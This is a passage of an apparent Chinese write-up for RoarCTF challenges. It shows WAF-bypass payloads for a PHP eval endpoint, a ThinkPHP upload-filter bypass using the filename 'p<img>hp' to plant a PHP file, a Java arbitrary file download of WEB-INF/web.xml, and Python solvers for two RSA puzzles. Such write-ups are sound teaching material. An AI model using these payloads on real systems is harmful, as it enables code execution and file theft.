RoarCTF 部分WP

WEB

easy_calc

访问calc.php不带num参数的时候就可以得到calc.php源码

<?php 
error_reporting(0); 
if(!isset($_GET['num'])){ 
    show_source(__FILE__); 
}else{ 
        $str = $_GET['num']; 
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; 
        foreach ($blacklist as $blackitem) { 
                if (preg_match('/' . $blackitem . '/m', $str)) { 
                        die("what are you want to do?"); 
                } 
        } 
        eval('echo '.$str.';'); 
} 
?> 

输入?num=phpinfo(),发现有403错误。
接下来就是绕WAF的问题。
参考利用PHP函数parse_str绕过IDS、IPS和WAF,只需要在参数num前加一个%20即可,如下

然后就是绕单引号和个别函数之类的过滤。
尝试如下:

  1. 因为不能使用引号和system,所以无法直接执行系统命令,如lspwd等,所以使用?%20num=dirname(__FILE__)?%20num=print_r(scandir(dirname(__FILE__)))读取当前路径和当前目录下的文件
    ,一开始我以为flagindex.html里,所以想用highlight_file()去读取文件,但是不能使用引号的情况下,无法读取指定文件。
  2. 既然num参数被加了黑名单过滤,那可不可以在别的地方执行命令?这里参考一叶飘零师傅无参Getshell,里面随便用一个方法都能绕过过滤。我这里使用的是
  3. 还能通过编码的方式来实现绕过,如使用eval(base64_decode(cHJpbnRfcihzY2FuZGlyKCcvJykpOzs7))
    其中base64编码过的部分为print_r(scandir('/'));;;,为什么是三个分号我也没搞懂。。
  4. 还能使用a{b}的方式来替代a['b'],从而绕过引号过滤,如eval(get_defined_vars(){_GET}{a})&a=print_r(scandir('/'));,其中{_GET}{a}[_GET][a]一样。

simple_upload

题目如下:

<?php 
namespace Home\Controller; 

use Think\Controller; 

class IndexController extends Controller 
{ 
    public function index() 
    { 
        show_source(__FILE__); 
    } 
    public function upload() 
    { 
        $uploadFile = $_FILES['file'] ; 
         
        if (strstr(strtolower($uploadFile['name']), ".php") ) { 
            return false; 
        } 
         
        $upload = new \Think\Upload();// 实例化上传类 
        $upload->maxSize  = 4096 ;// 设置附件上传大小 
        $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型 
        $upload->rootPath = './Public/Uploads/';// 设置附件上传目录 
        $upload->savePath = '';// 设置附件上传子目录 
        $info = $upload->upload() ; 
        if(!$info) {// 上传错误提示错误信息 
          $this->error($upload->getError()); 
          return; 
        }else{// 上传成功 获取上传文件信息 
          $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ; 
          echo json_encode(array("url"=>$url,"success"=>1)); 
        } 
    } 
}

已知的是使用了ThinkPHP的框架,发现以下代码为开发者自己写的过滤,怀疑存在问题

if (strstr(strtolower($uploadFile['name']), ".php") ) { 
         return false; 
} 

该代码将判断文件名是否存在.php
打开thinkphp3.2.3源码中/Library/Think/Upload.class.php,找到对应的上传文件处理过程代码,如下:

 // 对上传文件数组信息处理
$files   =  $this->dealFiles($files);    
foreach ($files as $key => $file) {
   $file['name']  = strip_tags($file['name']);
   if(!isset($file['key']))   $file['key']    =   $key;
/* 通过扩展获取文件类型,可解决FLASH上传$FILES数组返回文件类型错误的问题 */
   if(isset($finfo)){
       $file['type']   =   finfo_file ( $finfo ,  $file['tmp_name'] );
}

可以发现,thinkphp框架会对filename进行strip_tags操作


剥去标签,这样的话我们文件后缀只需要在php中插入任何HTML标签即可绕过过滤,且可以正常解析。
构造一个上传页面

<html>
<body>
    <form action="http://cndljjs6roarctf.4hou.com.cn:37326/index.php/home/index/upload" method="post" enctype="multipart/form-data">
        <label for="file">Filename:</label>
        <input type="file" name="file" id="file" />
        <br />
        <input type="submit" name="submit" value="Submit" />
    </form>
</body>
</html>

上传任意一个php文件,然后抓包修改后缀为p<img>hp,上传成功

访问目标文件,得到flag

Easy java

点开help,发现url里有个Download?filename=,怀疑存在任意文件下载
GET改成POST,发现下载成功。

下载WEB-INF/web.xml查看目录结构
查阅javaweb的目录结构,以及得到的servlet-class值,可以下载到所需要的class文件
可以发现文件中有着一串base64编码过的字符串,解码得到flag

Crypto

RSA

题目如下:

A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x
p=next_prime(z*x*y)
q=next_prime(z)
A =  2683349182678714524247469512793476009861014781004924905484127480308161377768192868061561886577048646432382128960881487463427414176114486885830693959404989743229103516924432512724195654425703453612710310587164417035878308390676612592848750287387318129424195208623440294647817367740878211949147526287091298307480502897462279102572556822231669438279317474828479089719046386411971105448723910594710418093977044179949800373224354729179833393219827789389078869290217569511230868967647963089430594258815146362187250855166897553056073744582946148472068334167445499314471518357535261186318756327890016183228412253724
n =  117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127
c =  41971850275428383625653350824107291609587853887037624239544762751558838294718672159979929266922528917912189124713273673948051464226519605803745171340724343705832198554680196798623263806617998072496026019940476324971696928551159371970207365741517064295956376809297272541800647747885170905737868568000101029143923792003486793278197051326716680212726111099439262589341050943913401067673851885114314709706016622157285023272496793595281054074260451116213815934843317894898883215362289599366101018081513215120728297131352439066930452281829446586562062242527329672575620261776042653626411730955819001674118193293313612128

未知数有三个,包括xyz,我们能做的就是通过AN恢复出未知数的值。
先观察A,可以发现有个迷惑性的运算,**2019,我们要知道, 即使是2^{2019},结果也是至少2019/3位的十进制数,而A仅仅为607位,因此我们可以知道(((y\%x)^5)\%(x\%y))的值,其实为1。
接下来就是解方程了,我们可以通过化解等式得到x=(y+1)/(A-1-y^{316}),而且很明显,A的主要是有y**316组成。这样的话,我们可以通过遍历y来确定y的值,然后求得x。代码如下:

for y in range(1000):
    if y**316>A:
        y-=1
        break
x = (y+1)/(A-1-y**316)

然后是如何根据N恢复出pq
我们首先需要知道的是,z*x*yz其实并没有相差太多,所以next_prime(z*x*y)next_prime(z)也不会相差太多。
所以我们可以用求根的方法,然后在根值附件寻找,代码如下:

z = gmpy2.iroot(n/(x*y),2)[0]
q = gmpy2.next_prime(z)
while True:
    if n % q == 0:
        break
    q = gmpy2.next_prime(q)
p = n/q

接下来就是正常的RSA的过程了,另外,加密密钥e可以试试几个常用的就能试出来了,总的代码如下

import gmpy2
from libnum import n2s
# A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x
# p=next_prime(z*x*y)
# q=next_prime(z)
A =  2683349182678714524247469512793476009861014781004924905484127480308161377768192868061561886577048646432382128960881487463427414176114486885830693959404989743229103516924432512724195654425703453612710310587164417035878308390676612592848750287387318129424195208623440294647817367740878211949147526287091298307480502897462279102572556822231669438279317474828479089719046386411971105448723910594710418093977044179949800373224354729179833393219827789389078869290217569511230868967647963089430594258815146362187250855166897553056073744582946148472068334167445499314471518357535261186318756327890016183228412253724
n =  117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127
c =  41971850275428383625653350824107291609587853887037624239544762751558838294718672159979929266922528917912189124713273673948051464226519605803745171340724343705832198554680196798623263806617998072496026019940476324971696928551159371970207365741517064295956376809297272541800647747885170905737868568000101029143923792003486793278197051326716680212726111099439262589341050943913401067673851885114314709706016622157285023272496793595281054074260451116213815934843317894898883215362289599366101018081513215120728297131352439066930452281829446586562062242527329672575620261776042653626411730955819001674118193293313612128
for y in range(1000):
    if y**316>A:
        y-=1
        break
x = (y+1)/(A-1-y**316)
z = gmpy2.iroot(n/(x*y),2)[0]
q = gmpy2.next_prime(z)
while True:
    if n % q == 0:
        break
    q = gmpy2.next_prime(q)
p = n/q
d = gmpy2.invert(0x10001,(p-1)*(q-1))
m = pow(c,d,n)
print n2s(m)

babyrsa

import sympy
import random

def myGetPrime():
    A= getPrime(513)
    print(A)
    B=A-random.randint(1e3,1e5)
    print(B)
    return sympy.nextPrime((B!)%A)
p=myGetPrime()
#A1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467234407
#B1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467140596

q=myGetPrime()
#A2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858418927
#B2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858351026

r=myGetPrime()

n=p*q*r
#n=85492663786275292159831603391083876175149354309327673008716627650718160585639723100793347534649628330416631255660901307533909900431413447524262332232659153047067908693481947121069070451562822417357656432171870951184673132554213690123308042697361969986360375060954702920656364144154145812838558365334172935931441424096270206140691814662318562696925767991937369782627908408239087358033165410020690152067715711112732252038588432896758405898709010342467882264362733
c=pow(flag,e,n)
#e=0x1001
#c=38620963949231568493951852806812359956058522979245676395704780066879051018892175913415575431734194586035432099562300809271498658506900105389975586615280808081596988894713047252672924018208747721253303054480800386069769084714127190055658807083226038640292692679215406182331245636616583141043207599068234065117886147748321058731290102675088056205224134057176167818706519201527516421824645801542347535393294450756726281744763656819345306146716190523210020241675468
#so,what is the flag?

主要的问题就是大数阶乘模运算怎么求
这里用到的是威尔逊定理,当且仅当p为素数时:( p -1 )! ≡ -1 ( mod p )来减少阶乘模的运算量。
已知( A -1 )! ≡ -1 ( mod A ),B=A-r,求(B)!≡? (mod A),即(A-r)!≡? (mod A)
解过程如下\begin{align} ( A -1 )! &≡ -1 ( mod A ) \\ ( A -2 )!& ≡ -1 *(A-1)^{-1}( mod A ) \\ \cdots \\ ( A -r )!& ≡ -1 *(A-1)^{-1}(A-2)^{-1}\cdots(A-r+1)^{-1}( mod A ) \end{align}
代码如下:

import gmpy2
import libnum
def getpq(A,B):
    rand = A - B
    b = -1
    for i in range(1,rand):
        tmp = (b%A)*gmpy2.invert(A-i,A)
        b = tmp%A
    return gmpy2.next_prime(b)

A1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467234407
B1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467140596
p = getpq(A1,B1)

A2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858418927
B2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858351026
q= getpq(A2,B2)

n = 85492663786275292159831603391083876175149354309327673008716627650718160585639723100793347534649628330416631255660901307533909900431413447524262332232659153047067908693481947121069070451562822417357656432171870951184673132554213690123308042697361969986360375060954702920656364144154145812838558365334172935931441424096270206140691814662318562696925767991937369782627908408239087358033165410020690152067715711112732252038588432896758405898709010342467882264362733

r=n/(p*q)
e=0x1001
d = gmpy2.invert(e,(p-1)*(q-1)*(r-1))
c=38620963949231568493951852806812359956058522979245676395704780066879051018892175913415575431734194586035432099562300809271498658506900105389975586615280808081596988894713047252672924018208747721253303054480800386069769084714127190055658807083226038640292692679215406182331245636616583141043207599068234065117886147748321058731290102675088056205224134057176167818706519201527516421824645801542347535393294450756726281744763656819345306146716190523210020241675468
m = pow(c,d,n)
print libnum.n2s(m)
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,911评论 5 460
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 82,014评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 142,129评论 0 320
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,283评论 1 264
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,159评论 4 357
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,161评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,565评论 3 382
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,251评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,531评论 1 292
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,619评论 2 310
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,383评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,255评论 3 313
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,624评论 3 299
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,916评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,199评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,553评论 2 342
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,756评论 2 335

推荐阅读更多精彩内容

  • sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息。 ======...
    wind_飘阅读 2,015评论 0 5
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 当给sq...
    xuningbo阅读 10,199评论 2 22
  • 个人学习批处理的初衷来源于实际工作;在某个迭代版本有个BS(安卓手游模拟器)大需求,从而在测试过程中就重复涉及到...
    Luckykailiu阅读 4,665评论 0 11
  • 首页 资讯 文章 资源 小组 相亲 登录 注册 首页 最新文章 IT 职场 前端 后端 移动端 数据库 运维 其他...
    Helen_Cat阅读 3,815评论 1 10
  • ¥开启¥ 【iAPP实现进入界面执行逐一显】 〖2017-08-25 15:22:14〗 《//首先开一个线程,因...
    小菜c阅读 6,327评论 0 17